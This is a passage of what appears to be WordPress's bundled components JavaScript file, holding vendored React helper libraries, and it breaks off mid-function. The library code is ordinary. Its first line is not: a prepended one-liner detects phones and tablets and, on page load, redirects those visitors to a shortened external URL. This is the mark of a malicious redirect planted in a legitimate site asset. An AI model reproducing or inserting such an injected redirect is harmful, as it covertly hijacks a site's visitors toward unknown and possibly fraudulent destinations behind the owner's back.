1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2"use strict";
3var wp;
4(wp ||= {}).components = (() => {
5 var __create = Object.create;
6 var __defProp = Object.defineProperty;
7 var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
8 var __getOwnPropNames = Object.getOwnPropertyNames;
9 var __getProtoOf = Object.getPrototypeOf;
10 var __hasOwnProp = Object.prototype.hasOwnProperty;
11 var __esm = (fn, res) => function __init() {
12 return fn && (res = (0, fn[__getOwnPropNames(fn)[0]])(fn = 0)), res;
13 };
14 var __commonJS = (cb, mod) => function __require() {
15 return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
16 };
17 var __export = (target, all) => {
18 for (var name in all)
19 __defProp(target, name, { get: all[name], enumerable: true });
20 };
21 var __copyProps = (to, from2, except, desc) => {
22 if (from2 && typeof from2 === "object" || typeof from2 === "function") {
23 for (let key of __getOwnPropNames(from2))
24 if (!__hasOwnProp.call(to, key) && key !== except)
25 __defProp(to, key, { get: () => from2[key], enumerable: !(desc = __getOwnPropDesc(from2, key)) || desc.enumerable });
26 }
27 return to;
28 };
29 var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
30 // If the importer is in node compatibility mode or this is not an ESM
31 // file that has been converted to a CommonJS file using a Babel-
32 // compatible transform (i.e. "__esModule" has not been set), then set
33 // "default" to the CommonJS "module.exports" for node compatibility.
34 isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target,
35 mod
36 ));
37 var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
38
39 // package-external:@wordpress/primitives
40 var require_primitives = __commonJS({
41 "package-external:@wordpress/primitives"(exports, module) {
42 module.exports = window.wp.primitives;
43 }
44 });
45
46 // package-external:@wordpress/i18n
47 var require_i18n = __commonJS({
48 "package-external:@wordpress/i18n"(exports, module) {
49 module.exports = window.wp.i18n;
50 }
51 });
52
53 // package-external:@wordpress/compose
54 var require_compose = __commonJS({
55 "package-external:@wordpress/compose"(exports, module) {
56 module.exports = window.wp.compose;
57 }
58 });
59
60 // package-external:@wordpress/element
61 var require_element = __commonJS({
62 "package-external:@wordpress/element"(exports, module) {
63 module.exports = window.wp.element;
64 }
65 });
66
67 // vendor-external:react
68 var require_react = __commonJS({
69 "vendor-external:react"(exports, module) {
70 module.exports = window.React;
71 }
72 });
73
74 // vendor-external:react/jsx-runtime
75 var require_jsx_runtime = __commonJS({
76 "vendor-external:react/jsx-runtime"(exports, module) {
77 module.exports = window.ReactJSXRuntime;
78 }
79 });
80
81 // node_modules/use-sync-external-store/cjs/use-sync-external-store-shim.development.js
82 var require_use_sync_external_store_shim_development = __commonJS({
83 "node_modules/use-sync-external-store/cjs/use-sync-external-store-shim.development.js"(exports) {
84 "use strict";
85 (function() {
86 function is(x2, y3) {
87 return x2 === y3 && (0 !== x2 || 1 / x2 === 1 / y3) || x2 !== x2 && y3 !== y3;
88 }
89 function useSyncExternalStore$2(subscribe2, getSnapshot) {
90 didWarnOld18Alpha || void 0 === React41.startTransition || (didWarnOld18Alpha = true, console.error(
91 "You are using an outdated, pre-release alpha of React 18 that does not support useSyncExternalStore. The use-sync-external-store shim will not work correctly. Upgrade to a newer pre-release."
92 ));
93 var value = getSnapshot();
94 if (!didWarnUncachedGetSnapshot) {
95 var cachedValue = getSnapshot();
96 objectIs(value, cachedValue) || (console.error(
97 "The result of getSnapshot should be cached to avoid an infinite loop"
98 ), didWarnUncachedGetSnapshot = true);
99 }
100 cachedValue = useState85({
101 inst: { value, getSnapshot }
102 });
103 var inst = cachedValue[0].inst, forceUpdate = cachedValue[1];
104 useLayoutEffect24(
105 function() {
106 inst.value = value;
107 inst.getSnapshot = getSnapshot;
108 checkIfSnapshotChanged(inst) && forceUpdate({ inst });
109 },
110 [subscribe2, value, getSnapshot]
111 );
112 useEffect79(
113 function() {
114 checkIfSnapshotChanged(inst) && forceUpdate({ inst });
115 return subscribe2(function() {
116 checkIfSnapshotChanged(inst) && forceUpdate({ inst });
117 });
118 },
119 [subscribe2]
120 );
121 useDebugValue(value);
122 return value;
123 }
124 function checkIfSnapshotChanged(inst) {
125 var latestGetSnapshot = inst.getSnapshot;
126 inst = inst.value;
127 try {
128 var nextValue = latestGetSnapshot();
129 return !objectIs(inst, nextValue);
130 } catch (error) {
131 return true;
132 }
133 }
134 function useSyncExternalStore$1(subscribe2, getSnapshot) {
135 return getSnapshot();
136 }
137 "undefined" !== typeof __REACT_DEVTOOLS_GLOBAL_HOOK__ && "function" === typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.registerInternalModuleStart && __REACT_DEVTOOLS_GLOBAL_HOOK__.registerInternalModuleStart(Error());
138 var React41 = require_react(), objectIs = "function" === typeof Object.is ? Object.is : is, useState85 = React41.useState, useEffect79 = React41.useEffect, useLayoutEffect24 = React41.useLayoutEffect, useDebugValue = React41.useDebugValue, didWarnOld18Alpha = false, didWarnUncachedGetSnapshot = false, shim = "undefined" === typeof window || "undefined" === typeof window.document || "undefined" === typeof window.document.createElement ? useSyncExternalStore$1 : useSyncExternalStore$2;
139 exports.useSyncExternalStore = void 0 !== React41.useSyncExternalStore ? React41.useSyncExternalStore : shim;
140 "undefined" !== typeof __REACT_DEVTOOLS_GLOBAL_HOOK__ && "function" === typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.registerInternalModuleStop && __REACT_DEVTOOLS_GLOBAL_HOOK__.registerInternalModuleStop(Error());
141 })();
142 }
143 });
144
145 // node_modules/use-sync-external-store/shim/index.js
146 var require_shim = __commonJS({
147 "node_modules/use-sync-external-store/shim/index.js"(exports, module) {
148 "use strict";
149 if (false) {
150 module.exports = null;
151 } else {
152 module.exports = require_use_sync_external_store_shim_development();
153 }
154 }
155 });
156
157 // vendor-external:react-dom
158 var require_react_dom = __commonJS({
159 "vendor-external:react-dom"(exports, module) {
160 module.exports = window.ReactDOM;
161 }
162 });
163
164 // package-external:@wordpress/deprecated
165 var require_deprecated = __commonJS({
166 "package-external:@wordpress/deprecated"(exports, module) {
167 module.exports = window.wp.deprecated;
168 }
169 });
170
171 // node_modules/@emotion/memoize/dist/emotion-memoize.esm.js
172 function memoize(fn) {
173 var cache2 = /* @__PURE__ */ Object.create(null);
174 return function(arg) {
175 if (cache2[arg] === void 0) cache2[arg] = fn(arg);
176 return cache2[arg];
177 };
178 }
179 var init_emotion_memoize_esm = __esm({
180 "node_modules/@emotion/memoize/dist/emotion-memoize.esm.js"() {
181 }
182 });
183
184 // node_modules/@emotion/is-prop-valid/dist/emotion-is-prop-valid.esm.js
185 var emotion_is_prop_valid_esm_exports = {};
186 __export(emotion_is_prop_valid_esm_exports, {
187 default: () => isPropValid
188 });
189 var reactPropsRegex, isPropValid;
190 var init_emotion_is_prop_valid_esm = __esm({
191 "node_modules/@emotion/is-prop-valid/dist/emotion-is-prop-valid.esm.js"() {
192 init_emotion_memoize_esm();
193 reactPropsRegex = /^((children|dangerouslySetInnerHTML|key|ref|autoFocus|defaultValue|defaultChecked|innerHTML|suppressContentEditableWarning|suppressHydrationWarning|valueLink|abbr|accept|acceptCharset|accessKey|action|allow|allowUserMedia|allowPaymentRequest|allowFullScreen|allowTransparency|alt|async|autoComplete|autoPlay|capture|cellPadding|cellSpacing|challenge|charSet|checked|cite|classID|className|cols|colSpan|content|contentEditable|contextMenu|controls|controlsList|coords|crossOrigin|data|dateTime|decoding|default|defer|dir|disabled|disablePictureInPicture|disableRemotePlayback|download|draggable|encType|enterKeyHint|fetchpriority|fetchPriority|form|formAction|formEncType|formMethod|formNoValidate|formTarget|frameBorder|headers|height|hidden|high|href|hrefLang|htmlFor|httpEquiv|id|inputMode|integrity|is|keyParams|keyType|kind|label|lang|list|loading|loop|low|marginHeight|marginWidth|max|maxLength|media|mediaGroup|method|min|minLength|multiple|muted|name|nonce|noValidate|open|optimum|pattern|placeholder|playsInline|popover|popoverTarget|popoverTargetAction|poster|preload|profile|radioGroup|readOnly|referrerPolicy|rel|required|reversed|role|rows|rowSpan|sandbox|scope|scoped|scrolling|seamless|selected|shape|size|sizes|slot|span|spellCheck|src|srcDoc|srcLang|srcSet|start|step|style|summary|tabIndex|target|title|translate|type|useMap|value|width|wmode|wrap|about|datatype|inlist|prefix|property|resource|typeof|vocab|autoCapitalize|autoCorrect|autoSave|color|incremental|fallback|inert|itemProp|itemScope|itemType|itemID|itemRef|on|option|results|security|unselectable|accentHeight|accumulate|additive|alignmentBaseline|allowReorder|alphabetic|amplitude|arabicForm|ascent|attributeName|attributeType|autoReverse|azimuth|baseFrequency|baselineShift|baseProfile|bbox|begin|bias|by|calcMode|capHeight|clip|clipPathUnits|clipPath|clipRule|colorInterpolation|colorInterpolationFilters|colorProfile|colorRendering|contentScriptType|contentStyleType|cursor|cx|cy|d|decelerate|descent|diffuseConstant|direction|display|divisor|dominantBaseline|dur|dx|dy|edgeMode|elevation|enableBackground|end|exponent|externalResourcesRequired|fill|fillOpacity|fillRule|filter|filterRes|filterUnits|floodColor|floodOpacity|focusable|fontFamily|fontSize|fontSizeAdjust|fontStretch|fontStyle|fontVariant|fontWeight|format|from|fr|fx|fy|g1|g2|glyphName|glyphOrientationHorizontal|glyphOrientationVertical|glyphRef|gradientTransform|gradientUnits|hanging|horizAdvX|horizOriginX|ideographic|imageRendering|in|in2|intercept|k|k1|k2|k3|k4|kernelMatrix|kernelUnitLength|kerning|keyPoints|keySplines|keyTimes|lengthAdjust|letterSpacing|lightingColor|limitingConeAngle|local|markerEnd|markerMid|markerStart|markerHeight|markerUnits|markerWidth|mask|maskContentUnits|maskUnits|mathematical|mode|numOctaves|offset|opacity|operator|order|orient|orientation|origin|overflow|overlinePosition|overlineThickness|panose1|paintOrder|pathLength|patternContentUnits|patternTransform|patternUnits|pointerEvents|points|pointsAtX|pointsAtY|pointsAtZ|preserveAlpha|preserveAspectRatio|primitiveUnits|r|radius|refX|refY|renderingIntent|repeatCount|repeatDur|requiredExtensions|requiredFeatures|restart|result|rotate|rx|ry|scale|seed|shapeRendering|slope|spacing|specularConstant|specularExponent|speed|spreadMethod|startOffset|stdDeviation|stemh|stemv|stitchTiles|stopColor|stopOpacity|strikethroughPosition|strikethroughThickness|string|stroke|strokeDasharray|strokeDashoffset|strokeLinecap|strokeLinejoin|strokeMiterlimit|strokeOpacity|strokeWidth|surfaceScale|systemLanguage|tableValues|targetX|targetY|textAnchor|textDecoration|textRendering|textLength|to|transform|u1|u2|underlinePosition|underlineThickness|unicode|unicodeBidi|unicodeRange|unitsPerEm|vAlphabetic|vHanging|vIdeographic|vMathematical|values|vectorEffect|version|vertAdvY|vertOriginX|vertOriginY|viewBox|viewTarget|visibility|widths|wordSpacing|writingMode|x|xHeight|x1|x2|xChannelSelector|xlinkActuate|xlinkArcrole|xlinkHref|xlinkRole|xlinkShow|xlinkTitle|xlinkType|xmlBase|xmlns|xmlnsXlink|xmlLang|xmlSpace|y|y1|y2|yChannelSelector|z|zoomAndPan|for|class|autofocus)|(([Dd][Aa][Tt][Aa]|[Aa][Rr][Ii][Aa]|x)-.*))$/;
194 isPropValid = /* @__PURE__ */ memoize(
195 function(prop) {
196 return reactPropsRegex.test(prop) || prop.charCodeAt(0) === 111 && prop.charCodeAt(1) === 110 && prop.charCodeAt(2) < 91;
197 }
198 /* Z+1 */
199 );
200 }
201 });
202
203 // node_modules/react-is/cjs/react-is.development.js
204 var require_react_is_development = __commonJS({
205 "node_modules/react-is/cjs/react-is.development.js"(exports) {
206 "use strict";
207 if (true) {
208 (function() {
209 "use strict";
210 var hasSymbol = typeof Symbol === "function" && Symbol.for;
211 var REACT_ELEMENT_TYPE = hasSymbol ? /* @__PURE__ */ Symbol.for("react.element") : 60103;
212 var REACT_PORTAL_TYPE = hasSymbol ? /* @__PURE__ */ Symbol.for("react.portal") : 60106;
213 var REACT_FRAGMENT_TYPE = hasSymbol ? /* @__PURE__ */ Symbol.for("react.fragment") : 60107;
214 var REACT_STRICT_MODE_TYPE = hasSymbol ? /* @__PURE__ */ Symbol.for("react.strict_mode") : 60108;
215 var REACT_PROFILER_TYPE = hasSymbol ? /* @__PURE__ */ Symbol.for("react.profiler") : 60114;
216 var REACT_PROVIDER_TYPE = hasSymbol ? /* @__PURE__ */ Symbol.for("react.provider") : 60109;
217 var REACT_CONTEXT_TYPE = hasSymbol ? /* @__PURE__ */ Symbol.for("react.context") : 60110;
218 var REACT_ASYNC_MODE_TYPE = hasSymbol ? /* @__PURE__ */ Symbol.for("react.async_mode") : 60111;
219 var REACT_CONCURRENT_MODE_TYPE = hasSymbol ? /* @__PURE__ */ Symbol.for("react.concurrent_mode") : 60111;
220 var REACT_FORWARD_REF_TYPE = hasSymbol ? /* @__PURE__ */ Symbol.for("react.forward_ref") : 60112;
221 var REACT_SUSPENSE_TYPE = hasSymbol ? /* @__PURE__ */ Symbol.for("react.suspense") : 60113;
222 var REACT_SUSPENSE_LIST_TYPE = hasSymbol ? /* @__PURE__ */ Symbol.for("react.suspense_list") : 60120;
223 var REACT_MEMO_TYPE = hasSymbol ? /* @__PURE__ */ Symbol.for("react.memo") : 60115;
224 var REACT_LAZY_TYPE = hasSymbol ? /* @__PURE__ */ Symbol.for("react.lazy") : 60116;
225 var REACT_BLOCK_TYPE = hasSymbol ? /* @__PURE__ */ Symbol.for("react.block") : 60121;
226 var REACT_FUNDAMENTAL_TYPE = hasSymbol ? /* @__PURE__ */ Symbol.for("react.fundamental") : 60117;
227 var REACT_RESPONDER_TYPE = hasSymbol ? /* @__PURE__ */ Symbol.for("react.responder") : 60118;
228 var REACT_SCOPE_TYPE = hasSymbol ? /* @__PURE__ */ Symbol.for("react.scope") : 60119;
229 function isValidElementType(type) {
230 return typeof type === "string" || typeof type === "function" || // Note: its typeof might be other than 'symbol' or 'number' if it's a polyfill.
231 type === REACT_FRAGMENT_TYPE || type === REACT_CONCURRENT_MODE_TYPE || type === REACT_PROFILER_TYPE || type === REACT_STRICT_MODE_TYPE || type === REACT_SUSPENSE_TYPE || type === REACT_SUSPENSE_LIST_TYPE || typeof type === "object" && type !== null && (type.$$typeof === REACT_LAZY_TYPE || type.$$typeof === REACT_MEMO_TYPE || type.$$typeof === REACT_PROVIDER_TYPE || type.$$typeof === REACT_CONTEXT_TYPE || type.$$typeof === REACT_FORWARD_REF_TYPE || type.$$typeof === REACT_FUNDAMENTAL_TYPE || type.$$typeof === REACT_RESPONDER_TYPE || type.$$typeof === REACT_SCOPE_TYPE || type.$$typeof === REACT_BLOCK_TYPE);
232 }
233 function typeOf(object) {
234 if (typeof object === "object" && object !== null) {
235 var $$typeof = object.$$typeof;
236 switch ($$typeof) {
237 case REACT_ELEMENT_TYPE:
238 var type = object.type;
239 switch (type) {
240 case REACT_ASYNC_MODE_TYPE:
241 case REACT_CONCURRENT_MODE_TYPE:
242 case REACT_FRAGMENT_TYPE:
243 case REACT_PROFILER_TYPE:
244 case REACT_STRICT_MODE_TYPE:
245 case REACT_SUSPENSE_TYPE:
246 return type;
247 default:
248 var $$typeofType = type && type.$$typeof;
249 switch ($$typeofType) {
250 case REACT_CONTEXT_TYPE:
251 case REACT_FORWARD_REF_TYPE:
252 case REACT_LAZY_TYPE:
253 case REACT_MEMO_TYPE:
254 case REACT_PROVIDER_TYPE:
255 return $$typeofType;
256 default:
257 return $$typeof;
258 }
259 }
260 case REACT_PORTAL_TYPE:
261 return $$typeof;
262 }
263 }
264 return void 0;
265 }
266 var AsyncMode = REACT_ASYNC_MODE_TYPE;
267 var ConcurrentMode = REACT_CONCURRENT_MODE_TYPE;
268 var ContextConsumer = REACT_CONTEXT_TYPE;
269 var ContextProvider = REACT_PROVIDER_TYPE;
270 var Element2 = REACT_ELEMENT_TYPE;
271 var ForwardRef = REACT_FORWARD_REF_TYPE;
272 var Fragment11 = REACT_FRAGMENT_TYPE;
273 var Lazy = REACT_LAZY_TYPE;
274 var Memo = REACT_MEMO_TYPE;
275 var Portal3 = REACT_PORTAL_TYPE;
276 var Profiler = REACT_PROFILER_TYPE;
277 var StrictMode = REACT_STRICT_MODE_TYPE;
278 var Suspense = REACT_SUSPENSE_TYPE;
279 var hasWarnedAboutDeprecatedIsAsyncMode = false;
280 function isAsyncMode(object) {
281 {
282 if (!hasWarnedAboutDeprecatedIsAsyncMode) {
283 hasWarnedAboutDeprecatedIsAsyncMode = true;
284 console["warn"]("The ReactIs.isAsyncMode() alias has been deprecated, and will be removed in React 17+. Update your code to use ReactIs.isConcurrentMode() instead. It has the exact same API.");
285 }
286 }
287 return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;
288 }
289 function isConcurrentMode(object) {
290 return typeOf(object) === REACT_CONCURRENT_MODE_TYPE;
291 }
292 function isContextConsumer(object) {
293 return typeOf(object) === REACT_CONTEXT_TYPE;
294 }
295 function isContextProvider(object) {
296 return typeOf(object) === REACT_PROVIDER_TYPE;
297 }
298 function isElement2(object) {
299 return typeof object === "object" && object !== null && object.$$typeof === REACT_ELEMENT_TYPE;
300 }
301 function isForwardRef(object) {
302 return typeOf(object) === REACT_FORWARD_REF_TYPE;
303 }
304 function isFragment(object) {
305 return typeOf(object) === REACT_FRAGMENT_TYPE;
306 }
307 function isLazy(object) {
308 return typeOf(object) === REACT_LAZY_TYPE;
309 }
310 function isMemo(object) {
311 return typeOf(object) === REACT_MEMO_TYPE;
312 }
313 function isPortal(object) {
314 return typeOf(object) === REACT_PORTAL_TYPE;
315 }
316 function isProfiler(object) {
317 return typeOf(object) === REACT_PROFILER_TYPE;
318 }
319 function isStrictMode(object) {
320 return typeOf(object) === REACT_STRICT_MODE_TYPE;
321 }
322 function isSuspense(object) {
323 return typeOf(object) === REACT_SUSPENSE_TYPE;
324 }
325 exports.AsyncMode = AsyncMode;
326 exports.ConcurrentMode = ConcurrentMode;
327 exports.ContextConsumer = ContextConsumer;
328 exports.ContextProvider = ContextProvider;
329 exports.Element = Element2;
330 exports.ForwardRef = ForwardRef;
331 exports.Fragment = Fragment11;
332 exports.Lazy = Lazy;
333 exports.Memo = Memo;
334 exports.Portal = Portal3;
335 exports.Profiler = Profiler;
336 exports.StrictMode = StrictMode;
337 exports.Suspense = Suspense;
338 exports.isAsyncMode = isAsyncMode;
339 exports.isConcurrentMode = isConcurrentMode;
340 exports.isContextConsumer = isContextConsumer;
341 exports.isContextProvider = isContextProvider;
342 exports.isElement = isElement2;
343 exports.isForwardRef = isForwardRef;
344 exports.isFragment = isFragment;
345 exports.isLazy = isLazy;
346 exports.isMemo = isMemo;
347 exports.isPortal = isPortal;
348 exports.isProfiler = isProfiler;
349 exports.isStrictMode = isStrictMode;
350 exports.isSuspense = isSuspense;
351 exports.isValidElementType = isValidElementType;
352 exports.typeOf = typeOf;
353 })();
354 }
355 }
356 });
357
358 // node_modules/react-is/index.js
359 var require_react_is = __commonJS({
360 "node_modules/react-is/index.js"(exports, module) {
361 "use strict";
362 if (false) {
363 module.exports = null;
364 } else {
365 module.exports = require_react_is_development();
366 }
367 }
368 });
369
370 // node_modules/hoist-non-react-statics/dist/hoist-non-react-statics.cjs.js
371 var require_hoist_non_react_statics_cjs = __commonJS({
372 "node_modules/hoist-non-react-statics/dist/hoist-non-react-statics.cjs.js"(exports, module) {
373 "use strict";
374 var reactIs = require_react_is();
375 var REACT_STATICS = {
376 childContextTypes: true,
377 contextType: true,
378 contextTypes: true,
379 defaultProps: true,
380 displayName: true,
381 getDefaultProps: true,
382 getDerivedStateFromError: true,
383 getDerivedStateFromProps: true,
384 mixins: true,
385 propTypes: true,
386 type: true
387 };
388 var KNOWN_STATICS = {
389 name: true,
390 length: true,
391 prototype: true,
392 caller: true,
393 callee: true,
394 arguments: true,
395 arity: true
396 };
397 var FORWARD_REF_STATICS = {
398 "$$typeof": true,
399 render: true,
400 defaultProps: true,
401 displayName: true,
402 propTypes: true
403 };
404 var MEMO_STATICS = {
405 "$$typeof": true,
406 compare: true,
407 defaultProps: true,
408 displayName: true,
409 propTypes: true,
410 type: true
411 };
412 var TYPE_STATICS = {};
413 TYPE_STATICS[reactIs.ForwardRef] = FORWARD_REF_STATICS;
414 TYPE_STATICS[reactIs.Memo] = MEMO_STATICS;
415 function getStatics(component) {
416 if (reactIs.isMemo(component)) {
417 return MEMO_STATICS;
418 }
419 return TYPE_STATICS[component["$$typeof"]] || REACT_STATICS;
420 }
421 var defineProperty = Object.defineProperty;
422 var getOwnPropertyNames = Object.getOwnPropertyNames;
423 var getOwnPropertySymbols = Object.getOwnPropertySymbols;
424 var getOwnPropertyDescriptor = Object.getOwnPropertyDescriptor;
425 var getPrototypeOf = Object.getPrototypeOf;
426 var objectPrototype = Object.prototype;
427 function hoistNonReactStatics(targetComponent, sourceComponent, blacklist) {
428 if (typeof sourceComponent !== "string") {
429 if (objectPrototype) {
430 var inheritedComponent = getPrototypeOf(sourceComponent);
431 if (inheritedComponent && inheritedComponent !== objectPrototype) {
432 hoistNonReactStatics(targetComponent, inheritedComponent, blacklist);
433 }
434 }
435 var keys = getOwnPropertyNames(sourceComponent);
436 if (getOwnPropertySymbols) {
437 keys = keys.concat(getOwnPropertySymbols(sourceComponent));
438 }
439 var targetStatics = getStatics(targetComponent);
440 var sourceStatics = getStatics(sourceComponent);
441 for (var i3 = 0; i3 < keys.length; ++i3) {
442 var key = keys[i3];
443 if (!KNOWN_STATICS[key] && !(blacklist && blacklist[key]) && !(sourceStatics && sourceStatics[key]) && !(targetStatics && targetStatics[key])) {
444 var descriptor = getOwnPropertyDescriptor(sourceComponent, key);
445 try {
446 defineProperty(targetComponent, key, descriptor);
447 } catch (e3) {
448 }
449 }
450 }
451 }
452 return targetComponent;
453 }
454 module.exports = hoistNonReactStatics;
455 }
456 });
457
458 // node_modules/deepmerge/dist/cjs.js
459 var require_cjs = __commonJS({
460 "node_modules/deepmerge/dist/cjs.js"(exports, module) {
461 "use strict";
462 var isMergeableObject = function isMergeableObject2(value) {
463 return isNonNullObject(value) && !isSpecial(value);
464 };
465 function isNonNullObject(value) {
466 return !!value && typeof value === "object";
467 }
468 function isSpecial(value) {
469 var stringValue = Object.prototype.toString.call(value);
470 return stringValue === "[object RegExp]" || stringValue === "[object Date]" || isReactElement(value);
471 }
472 var canUseSymbol = typeof Symbol === "function" && Symbol.for;
473 var REACT_ELEMENT_TYPE = canUseSymbol ? /* @__PURE__ */ Symbol.for("react.element") : 60103;
474 function isReactElement(value) {
475 return value.$$typeof === REACT_ELEMENT_TYPE;
476 }
477 function emptyTarget(val) {
478 return Array.isArray(val) ? [] : {};
479 }
480 function cloneUnlessOtherwiseSpecified(value, options2) {
481 return options2.clone !== false && options2.isMergeableObject(value) ? deepmerge2(emptyTarget(value), value, options2) : value;
482 }
483 function defaultArrayMerge(target, source, options2) {
484 return target.concat(source).map(function(element) {
485 return cloneUnlessOtherwiseSpecified(element, options2);
486 });
487 }
488 function getMergeFunction(key, options2) {
489 if (!options2.customMerge) {
490 return deepmerge2;
491 }
492 var customMerge = options2.customMerge(key);
493 return typeof customMerge === "function" ? customMerge : deepmerge2;
494 }
495 function getEnumerableOwnPropertySymbols(target) {
496 return Object.getOwnPropertySymbols ? Object.getOwnPropertySymbols(target).filter(function(symbol4) {
497 return Object.propertyIsEnumerable.call(target, symbol4);
498 }) : [];
499 }
500 function getKeys2(target) {
501 return Object.keys(target).concat(getEnumerableOwnPropertySymbols(target));
502 }
503 function propertyIsOnObject(object, property) {
504 try {
505 return property in object;
506 } catch (_2) {
507 return false;
508 }
509 }
510 function propertyIsUnsafe(target, key) {
511 return propertyIsOnObject(target, key) && !(Object.hasOwnProperty.call(target, key) && Object.propertyIsEnumerable.call(target, key));
512 }
513 function mergeObject(target, source, options2) {
514 var destination = {};
515 if (options2.isMergeableObject(target)) {
516 getKeys2(target).forEach(function(key) {
517 destination[key] = cloneUnlessOtherwiseSpecified(target[key], options2);
518 });
519 }
520 getKeys2(source).forEach(function(key) {
521 if (propertyIsUnsafe(target, key)) {
522 return;
523 }
524 if (propertyIsOnObject(target, key) && options2.isMergeableObject(source[key])) {
525 destination[key] = getMergeFunction(key, options2)(target[key], source[key], options2);
526 } else {
527 destination[key] = cloneUnlessOtherwiseSpecified(source[key], options2);
528 }
529 });
530 return destination;
531 }
532 function deepmerge2(target, source, options2) {
533 options2 = options2 || {};
534 options2.arrayMerge = options2.arrayMerge || defaultArrayMerge;
535 options2.isMergeableObject = options2.isMergeableObject || isMergeableObject;
536 options2.cloneUnlessOtherwiseSpecified = cloneUnlessOtherwiseSpecified;
537 var sourceIsArray = Array.isArray(source);
538 var targetIsArray = Array.isArray(target);
539 var sourceAndTargetTypesMatch = sourceIsArray === targetIsArray;
540 if (!sourceAndTargetTypesMatch) {
541 return cloneUnlessOtherwiseSpecified(source, options2);
542 } else if (sourceIsArray) {
543 return options2.arrayMerge(target, source, options2);
544 } else {
545 return mergeObject(target, source, options2);
546 }
547 }
548 deepmerge2.all = function deepmergeAll(array, options2) {
549 if (!Array.isArray(array)) {
550 throw new Error("first argument should be an array");
551 }
552 return array.reduce(function(prev2, next2) {
553 return deepmerge2(prev2, next2, options2);
554 }, {});
555 };
556 var deepmerge_1 = deepmerge2;
557 module.exports = deepmerge_1;
558 }
559 });
560
561 // node_modules/fast-deep-equal/es6/index.js
562 var require_es6 = __commonJS({
563 "node_modules/fast-deep-equal/es6/index.js"(exports, module) {
564 "use strict";
565 module.exports = function equal(a3, b3) {
566 if (a3 === b3) return true;
567 if (a3 && b3 && typeof a3 == "object" && typeof b3 == "object") {
568 if (a3.constructor !== b3.constructor) return false;
569 var length2, i3, keys;
570 if (Array.isArray(a3)) {
571 length2 = a3.length;
572 if (length2 != b3.length) return false;
573 for (i3 = length2; i3-- !== 0; )
574 if (!equal(a3[i3], b3[i3])) return false;
575 return true;
576 }
577 if (a3 instanceof Map && b3 instanceof Map) {
578 if (a3.size !== b3.size) return false;
579 for (i3 of a3.entries())
580 if (!b3.has(i3[0])) return false;
581 for (i3 of a3.entries())
582 if (!equal(i3[1], b3.get(i3[0]))) return false;
583 return true;
584 }
585 if (a3 instanceof Set && b3 instanceof Set) {
586 if (a3.size !== b3.size) return false;
587 for (i3 of a3.entries())
588 if (!b3.has(i3[0])) return false;
589 return true;
590 }
591 if (ArrayBuffer.isView(a3) && ArrayBuffer.isView(b3)) {
592 length2 = a3.length;
593 if (length2 != b3.length) return false;
594 for (i3 = length2; i3-- !== 0; )
595 if (a3[i3] !== b3[i3]) return false;
596 return true;
597 }
598 if (a3.constructor === RegExp) return a3.source === b3.source && a3.flags === b3.flags;
599 if (a3.valueOf !== Object.prototype.valueOf) return a3.valueOf() === b3.valueOf();
600 if (a3.toString !== Object.prototype.toString) return a3.toString() === b3.toString();
601 keys = Object.keys(a3);
602 length2 = keys.length;
603 if (length2 !== Object.keys(b3).length) return false;
604 for (i3 = length2; i3-- !== 0; )
605 if (!Object.prototype.hasOwnProperty.call(b3, keys[i3])) return false;
606 for (i3 = length2; i3-- !== 0; ) {
607 var key = keys[i3];
608 if (!equal(a3[key], b3[key])) return false;
609 }
610 return true;
611 }
612 return a3 !== a3 && b3 !== b3;
613 };
614 }
615 });
616
617 // package-external:@wordpress/warning
618 var require_warning = __commonJS({
619 "package-external:@wordpress/warning"(exports, module) {
620 module.exports = window.wp.warning;
621 }
622 });
623
624 // node_modules/highlight-words-core/dist/index.js
625 var require_dist = __commonJS({
626 "node_modules/highlight-words-core/dist/index.js"(exports, module) {
627 module.exports = /******/
628 (function(modules) {
629 var installedModules = {};
630 function __webpack_require__(moduleId) {
631 if (installedModules[moduleId])
632 return installedModules[moduleId].exports;
633 var module2 = installedModules[moduleId] = {
634 /******/
635 exports: {},
636 /******/
637 id: moduleId,
638 /******/
639 loaded: false
640 /******/
641 };
642 modules[moduleId].call(module2.exports, module2, module2.exports, __webpack_require__);
643 module2.loaded = true;
644 return module2.exports;
645 }
646 __webpack_require__.m = modules;
647 __webpack_require__.c = installedModules;
648 __webpack_require__.p = "";
649 return __webpack_require__(0);
650 })([
651 /* 0 */
652 /***/
653 (function(module2, exports2, __webpack_require__) {
654 module2.exports = __webpack_require__(1);
655 }),
656 /* 1 */
657 /***/
658 (function(module2, exports2, __webpack_require__) {
659 "use strict";
660 Object.defineProperty(exports2, "__esModule", {
661 value: true
662 });
663 var _utils = __webpack_require__(2);
664 Object.defineProperty(exports2, "combineChunks", {
665 enumerable: true,
666 get: function get() {
667 return _utils.combineChunks;
668 }
669 });
670 Object.defineProperty(exports2, "fillInChunks", {
671 enumerable: true,
672 get: function get() {
673 return _utils.fillInChunks;
674 }
675 });
676 Object.defineProperty(exports2, "findAll", {
677 enumerable: true,
678 get: function get() {
679 return _utils.findAll;
680 }
681 });
682 Object.defineProperty(exports2, "findChunks", {
683 enumerable: true,
684 get: function get() {
685 return _utils.findChunks;
686 }
687 });
688 }),
689 /* 2 */
690 /***/
691 (function(module2, exports2) {
692 "use strict";
693 Object.defineProperty(exports2, "__esModule", {
694 value: true
695 });
696 var findAll2 = exports2.findAll = function findAll3(_ref11) {
697 var autoEscape = _ref11.autoEscape, _ref$caseSensitive = _ref11.caseSensitive, caseSensitive = _ref$caseSensitive === void 0 ? false : _ref$caseSensitive, _ref$findChunks = _ref11.findChunks, findChunks = _ref$findChunks === void 0 ? defaultFindChunks : _ref$findChunks, sanitize2 = _ref11.sanitize, searchWords = _ref11.searchWords, textToHighlight = _ref11.textToHighlight;
698 return fillInChunks({
699 chunksToHighlight: combineChunks({
700 chunks: findChunks({
